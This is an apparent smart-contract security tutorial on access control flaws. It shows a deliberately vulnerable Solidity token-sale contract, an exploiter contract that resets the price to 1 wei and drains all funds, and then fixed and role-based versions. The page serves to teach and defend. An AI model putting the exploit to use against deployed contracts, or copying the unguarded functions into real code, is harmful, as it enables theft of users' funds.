Access Control Vulnerabilities

Discover and fix improper access control mechanisms in a decentralized application.

Access control vulnerabilities are among the most common and dangerous security issues in smart contracts and decentralized applications. These vulnerabilities occur when a contract fails to properly restrict who can call certain functions or access specific data.

In this challenge, you'll learn how to identify, exploit, and fix access control vulnerabilities in smart contracts.

What are Access Control Vulnerabilities?

Access control in smart contracts refers to the mechanisms that restrict which users or contracts can execute certain functions or access specific data. When these mechanisms are improperly implemented or missing entirely, unauthorized users may be able to:

  • Execute privileged functions (like withdrawing funds or changing ownership)
  • Modify critical contract state
  • Access sensitive data
  • Bypass intended business logic

Unlike traditional web applications where access control might be enforced at multiple layers, smart contracts must implement all access controls at the contract level, making proper implementation critical.

The Vulnerable Contract

Below is a simplified TokenSale contract with several access control vulnerabilities:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableTokenSale {
    address public owner;
    mapping(address => uint256) public tokenBalances;
    uint256 public tokenPrice = 0.01 ether;
    bool public saleActive = true;
    
    constructor() {
        owner = msg.sender;
    }
    
    // Vulnerability 1: Missing access control
    function setTokenPrice(uint256 _newPrice) public {
        tokenPrice = _newPrice;
    }
    
    // Vulnerability 2: Insufficient validation
    function transferOwnership(address _newOwner) public {
        if (msg.sender == owner) {
            owner = _newOwner;
        }
    }
    
    // Vulnerability 3: Logic flaw in access control
    function endSale() public {
        require(msg.sender == owner || tokenBalances[msg.sender] > 1000, "Not authorized");
        saleActive = false;
    }
    
    // Vulnerability 4: Missing access control on critical function
    function withdrawFunds() public {
        payable(msg.sender).transfer(address(this).balance);
    }
    
    function buyTokens() public payable {
        require(saleActive, "Sale is not active");
        require(msg.value >= tokenPrice, "Insufficient payment");
        
        uint256 tokenAmount = msg.value / tokenPrice;
        tokenBalances[msg.sender] += tokenAmount;
    }
    
    function getTokenBalance(address _user) public view returns (uint256) {
        return tokenBalances[_user];
    }
}
      

Identifying the Vulnerabilities

Let's analyze each vulnerability in the contract:

1. Missing Access Control (setTokenPrice)

The setTokenPrice function has no access restrictions, allowing anyone to change the token price. An attacker could set the price to a very low value and then buy tokens at a discount, or set it extremely high to prevent others from buying.

2. Insufficient Validation (transferOwnership)

The transferOwnership function uses an if statement instead of a require statement. If the condition fails, the function will silently continue execution instead of reverting. This is a subtle but dangerous pattern.

3. Logic Flaw in Access Control (endSale)

The endSale function allows users with more than 1000 tokens to end the sale. This might be intentional, but it creates a potential vulnerability: anyone can buy 1001 tokens and then end the sale, potentially disrupting the token sale process.

4. Missing Access Control on Critical Function (withdrawFunds)

The withdrawFunds function has no access control at all, allowing anyone to withdraw all funds from the contract. This is a critical vulnerability that would likely lead to immediate loss of all contract funds.


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./VulnerableTokenSale.sol";

contract TokenSaleExploiter {
    VulnerableTokenSale public tokenSale;
    
    constructor(address _tokenSaleAddress) {
        tokenSale = VulnerableTokenSale(_tokenSaleAddress);
    }
    
    // Exploit 1: Set token price to minimum value
    function exploitSetPrice() public {
        // Set price to 1 wei (minimum possible value)
        tokenSale.setTokenPrice(1);
    }
    
    // Exploit 2: Buy tokens at manipulated price
    function exploitBuyTokens() public payable {
        // Buy tokens at the manipulated price
        tokenSale.buyTokens{value: msg.value}();
    }
    
    // Exploit 3: Drain all funds
    function exploitWithdraw() public {
        // Withdraw all funds from the contract
        tokenSale.withdrawFunds();
    }
    
    // Withdraw stolen funds to the attacker
    function withdrawStolenFunds() public {
        payable(msg.sender).transfer(address(this).balance);
    }
    
    // Get token balance
    function getTokenBalance() public view returns (uint256) {
        return tokenSale.getTokenBalance(address(this));
    }
}
      

Fixing the Vulnerabilities

Let's fix each vulnerability in the contract:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SecureTokenSale {
    address public owner;
    mapping(address => uint256) public tokenBalances;
    uint256 public tokenPrice = 0.01 ether;
    bool public saleActive = true;
    
    // Events for important actions
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event TokenPriceChanged(uint256 oldPrice, uint256 newPrice);
    event SaleStatusChanged(bool isActive);
    event TokensPurchased(address indexed buyer, uint256 amount);
    event FundsWithdrawn(address indexed recipient, uint256 amount);
    
    constructor() {
        owner = msg.sender;
    }
    
    // Modifier for owner-only functions
    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this function");
        _;
    }
    
    // Fix 1: Add access control
    function setTokenPrice(uint256 _newPrice) public onlyOwner {
        require(_newPrice > 0, "Price must be greater than 0");
        emit TokenPriceChanged(tokenPrice, _newPrice);
        tokenPrice = _newPrice;
    }
    
    // Fix 2: Use require and add validation
    function transferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0), "New owner cannot be the zero address");
        emit OwnershipTransferred(owner, _newOwner);
        owner = _newOwner;
    }
    
    // Fix 3: Clarify access control logic
    function endSale() public onlyOwner {
        saleActive = false;
        emit SaleStatusChanged(saleActive);
    }
    
    // Fix 4: Add access control to critical function
    function withdrawFunds() public onlyOwner {
        uint256 amount = address(this).balance;
        require(amount > 0, "No funds to withdraw");
        
        payable(owner).transfer(amount);
        emit FundsWithdrawn(owner, amount);
    }
    
    function buyTokens() public payable {
        require(saleActive, "Sale is not active");
        require(msg.value >= tokenPrice, "Insufficient payment");
        
        uint256 tokenAmount = msg.value / tokenPrice;
        tokenBalances[msg.sender] += tokenAmount;
        
        emit TokensPurchased(msg.sender, tokenAmount);
    }
    
    function getTokenBalance(address _user) public view returns (uint256) {
        return tokenBalances[_user];
    }
}
      

Best Practices for Access Control

  1. Use Modifiers: Create and use modifiers like onlyOwner to enforce access control consistently across functions.
  2. Use require() Instead of if(): Always use require() statements for validation to ensure the transaction reverts if conditions aren't met.
  3. Implement Role-Based Access Control: For complex applications, consider implementing role-based access control (RBAC) where different roles have different permissions.
  4. Emit Events: Emit events for all important state changes, especially ownership transfers and privilege changes.
  5. Validate Inputs: Always validate function inputs, especially for critical parameters like new owner addresses.
  6. Consider Using OpenZeppelin's Access Control: OpenZeppelin provides well-tested implementations of access control patterns.
  7. Implement Time Locks: For critical operations, consider implementing time locks to give users time to react to pending changes.
  8. Avoid Backdoors: Be cautious of implementing "emergency" access that could become a backdoor.

Role-Based Access Control Example

For more complex applications, role-based access control (RBAC) is often more appropriate than simple owner-based access control:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract RBACTokenSale {
    // Role definitions
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant PRICE_SETTER_ROLE = keccak256("PRICE_SETTER_ROLE");
    bytes32 public constant WITHDRAWER_ROLE = keccak256("WITHDRAWER_ROLE");
    
    // Role assignments
    mapping(address => mapping(bytes32 => bool)) public roles;
    
    mapping(address => uint256) public tokenBalances;
    uint256 public tokenPrice = 0.01 ether;
    bool public saleActive = true;
    
    constructor() {
        // Assign all roles to the deployer
        _grantRole(ADMIN_ROLE, msg.sender);
        _grantRole(PRICE_SETTER_ROLE, msg.sender);
        _grantRole(WITHDRAWER_ROLE, msg.sender);
    }
    
    // Role management
    function grantRole(bytes32 _role, address _account) public {
        require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not an admin");
        _grantRole(_role, _account);
    }
    
    function revokeRole(bytes32 _role, address _account) public {
        require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not an admin");
        _revokeRole(_role, _account);
    }
    
    function _grantRole(bytes32 _role, address _account) internal {
        roles[_account][_role] = true;
    }
    
    function _revokeRole(bytes32 _role, address _account) internal {
        roles[_account][_role] = false;
    }
    
    function hasRole(bytes32 _role, address _account) public view returns (bool) {
        return roles[_account][_role];
    }
    
    // Business logic with role-based access control
    function setTokenPrice(uint256 _newPrice) public {
        require(hasRole(PRICE_SETTER_ROLE, msg.sender), "Caller cannot set price");
        require(_newPrice > 0, "Price must be greater than 0");
        tokenPrice = _newPrice;
    }
    
    function endSale() public {
        require(hasRole(ADMIN_ROLE, msg.sender), "Caller cannot end sale");
        saleActive = false;
    }
    
    function withdrawFunds() public {
        require(hasRole(WITHDRAWER_ROLE, msg.sender), "Caller cannot withdraw funds");
        payable(msg.sender).transfer(address(this).balance);
    }
    
    function buyTokens() public payable {
        require(saleActive, "Sale is not active");
        require(msg.value >= tokenPrice, "Insufficient payment");
        
        uint256 tokenAmount = msg.value / tokenPrice;
        tokenBalances[msg.sender] += tokenAmount;
    }
}